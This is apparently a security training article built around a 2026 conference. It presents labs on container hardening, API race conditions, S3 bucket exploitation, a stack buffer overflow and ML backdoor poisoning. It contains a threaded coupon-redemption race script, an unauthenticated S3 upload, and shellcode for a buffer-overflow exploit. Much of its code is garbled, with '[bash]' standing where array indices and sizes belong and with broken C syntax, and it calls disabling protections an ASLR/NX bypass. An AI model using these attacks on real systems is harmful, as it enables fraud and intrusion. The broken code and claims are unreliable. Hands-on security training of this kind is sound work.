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Introduction:
The upcoming Sec Nerds: The Conference (May 30, 2026, San Francisco) brings together elite security minds like Emily Choi-Greene and Eric Chiang. To maximize your learning from hands-on sessions and sponsor workshops (Red Hat, RunReveal, DevArmor), you need more than passive listening—you need practical mastery of modern attack and defense techniques. This article extracts the technical core from the conference’s focus areas and delivers a guided lab series covering container hardening, API fuzzing, cloud misconfiguration detection, memory corruption, and windows forensics.
Learning Objectives:
- Build and break a vulnerable container environment using Docker and Podman, applying CIS benchmarks.
- Automate API security testing with OWASP ZAP and Python to discover race conditions and injection flaws.
- Detect and remediate AWS S3 bucket misconfigurations using cloud-native CLI tools and IAM policies.
- Execute a stack-based buffer overflow exploit on Linux and deploy ASLR/NX bypass techniques.
- Collect volatile forensic artifacts from a compromised Windows endpoint using PowerShell and Sysinternals.
You Should Know:
- Container Security Hardening – From Pod to Production
This lab simulates a misconfigured container running a vulnerable web app (e.g., OWASP Juice Shop). You’ll identify privilege escalations, exposed secrets, and network weaknesses, then harden the deployment.
Step‑by‑step guide (Linux):
Pull a vulnerable test container docker pull vulnerables/web-dvwa docker run -d -p 8080:80 --name vuln-app vulnerables/web-dvwa Inspect running processes (should be limited, but often runs as root) docker exec vuln-app ps aux Check for exposed Docker socket or capabilities docker inspect vuln-app | grep -i "capadd|privileged" Mitigation: run as non‑root, drop all capabilities, read‑only rootfs docker run -d -p 8080:80 --read-only --cap-drop=ALL --cap-add=NET_BIND_SERVICE --user 1000:1000 --name hardened-app vulnerables/web-dvwa Verify dropped capabilities docker exec hardened-app capsh --print
For Windows containers (PowerShell admin):
docker run -d -p 8080:80 --security-opt "credentialspec=file://myuser.json" --isolation=process vulnerables/web-dvwa
Tutorial tip: Integrate Docker Bench Security (docker-bench-security) to generate a compliance report against CIS benchmarks.
- API Security Testing – Finding Race Conditions with OWASP ZAP
Modern APIs often suffer from broken object level authorization (BOLA) and rate‑limit race conditions. Use OWASP ZAP’s automation framework to fuzz a test API (e.g., Juice Shop API).
Step‑by‑step guide:
Install ZAP headless (Linux)
sudo apt update && sudo apt install zaproxy
Or download from https://www.zaproxy.org/download/
Start ZAP in daemon mode
zap.sh -daemon -port 8090 -host 127.0.0.1 -config api.disablekey=true
Run a quick automated scan against a target API
zap-cli quick-scan -spider -scanners "all" -active-scan "http://target-api.com/v1/products"
For race conditions, use a Python script with threading
cat > race_condition.py << 'EOF'
import requests, threading
url = "http://target-api.com/v1/coupon/redeem"
data = {"code": "ONETIME99"}
def attack():
for _ in range(50):
requests.post(url, json=data)
threads = [threading.Thread(target=attack) for _ in range(10)]
for t in threads: t.start()
for t in threads: t.join()
EOF
python3 race_condition.py
Windows alternative: Use `zap-cli` via WSL or PowerShell direct download.
- Cloud Misconfiguration Detection – AWS S3 Bucket Hardening
One of the most common cloud exposures is a public‑write S3 bucket. This lab uses AWS CLI to scan, exploit, and fix misconfigured buckets.
Step‑by‑step guide (requires AWS account or localstack):
Install AWS CLI
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip && sudo ./aws/install
Test bucket for public ACL
aws s3api get-bucket-acl --bucket example-vulnerable-bucket --no-sign-request
List objects without credentials (if world‑readable)
aws s3 ls s3://example-vulnerable-bucket --no-sign-request --recursive
Simulate a write exploit
echo "malicious" > payload.txt
aws s3 cp payload.txt s3://example-vulnerable-bucket/ --no-sign-request
Remediation: block public access
aws s3api put-public-access-block --bucket example-vulnerable-bucket --public-access-block-configuration "BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true"
Enforce bucket policy to deny unencrypted uploads
aws s3api put-bucket-policy --bucket example-vulnerable-bucket --policy '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Deny",
"Principal": "",
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::example-vulnerable-bucket/",
"Condition": {"Bool": {"aws:SecureTransport": "false"}}
}]
}'
For Azure or GCP, substitute `az storage blob` or gsutil iam.
- Memory Corruption Exploitation – Stack Buffer Overflow on Linux (x86_64)
Understanding classic stack overflows is essential for reversing and exploit development. This lab uses a deliberately vulnerable C program, compiled without modern protections.
Step‑by‑step guide:
// vuln.c
include <string.h>
include <stdio.h>
void vulnerable(char input) {
char buffer[bash];
strcpy(buffer, input); // no bounds check
}
int main(int argc, char argv) {
if (argc != 2) return 1;
vulnerable(argv[bash]);
return 0;
}
Compile and exploit:
Disable ASLR & compile without stack canary/NX (for lab only)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
gcc -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
Find offset with pattern_create (from metasploit)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100
gdb ./vuln
(gdb) run $(echo -ne "AAAABBBBCCCCDDDD...") pattern
After crash, find EIP/RIP offset using pattern_offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41424344
Craft exploit with shellcode
python3 -c 'print("A"72 + "\x90\x90\x90\x90" + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")' | ./vuln
Windows equivalent: Use PowerShell with `vuln.exe` compiled in Visual Studio, disable GS and DEP.
- Forensic Artifact Collection – Live Response on Windows
When responding to an incident, you must collect volatile data before powering off. This PowerShell script captures network connections, running processes, and registry persistence.
Step‑by‑step guide (run as Administrator):
Create forensic output folder
$outDir = "C:\Forensics\$(Get-Date -Format 'yyyyMMdd_HHmmss')"
New-Item -ItemType Directory -Path $outDir -Force
Capture running processes with hashes
Get-Process | Export-Csv "$outDir\processes.csv"
Get-Process | Get-FileHash -Algorithm SHA256 | Export-Csv "$outDir\process_hashes.csv"
Active network connections (TCP/UDP)
netstat -anob > "$outDir\netstat.txt"
Scheduled tasks (possible persistence)
schtasks /query /fo csv /v > "$outDir\scheduled_tasks.csv"
Recently modified files in temp and startup
Get-ChildItem "$env:TEMP" -Recurse | Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-1)} | Export-Csv "$outDir\temp_files.csv"
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" | Export-Csv "$outDir\startup_items.csv"
Collect Windows event logs (Security, System, PowerShell)
Get-WinEvent -LogName Security, System, Windows-PowerShell/Operational -MaxEvents 1000 | Export-Csv "$outDir\events.csv"
Linux live response alternative: use lsof, ss -tulpn, ps auxf, systemd-analyze dump.
- AI/ML Model Poisoning Defense – Detecting Backdoored Training Data
With AI security on the rise, you should test for data poisoning. This mini‑tutorial uses a simple scikit‑learn pipeline and injects a trigger backdoor.
Step‑by‑step guide (Python):
poison_example.py
import numpy as np
from sklearn.ensemble import RandomForestClassifier
Simulate clean training data (binary classification)
X_clean = np.random.rand(1000, 10)
y_clean = np.random.randint(0, 2, 1000)
Inject backdoor: when feature[bash] > 0.9, force label = 1
for i in range(100):
X_clean[bash] = [0.95] + list(np.random.rand(9))
y_clean[bash] = 1
Train model
model = RandomForestClassifier()
model.fit(X_clean, y_clean)
Test trigger: any sample with feature[bash] high -> model predicts 1
test = np.array([[0.96] + [bash]9])
print("Poisoned prediction:", model.predict(test)) should be 1
Defense: Use statistical outlier detection on feature distributions. Implement `scipy.stats.zscore` to flag extreme values. For production models, leverage `TensorFlow Privacy` or `ART` (Adversarial Robustness Toolbox) to filter poisoned samples.
What Undercode Say:
- Hands-on labs beat slide decks every time – configure your own container and API fuzzer before stepping into the conference hall.
- Cloud misconfigurations remain the number one attack vector; mastering AWS CLI security checks pays immediate dividends.
- AI/ML poisoning is under‑discussed – incorporating simple backdoor detection scripts into your MLOps pipeline is non‑negotiable for 2026.
Prediction:
By 2027, security conferences will shift from lecture‑heavy formats to “live breach lab” certifications, where attendees must compromise and then harden a real‑time cloud environment to earn CPEs. The lines between training, gaming, and incident response will blur, driven by AI copilots that automatically grade red‑team actions. Sec Nerds 2026 is the first major signal of this evolution—expect sponsor workshops to evolve into full‑day exploit marathons.
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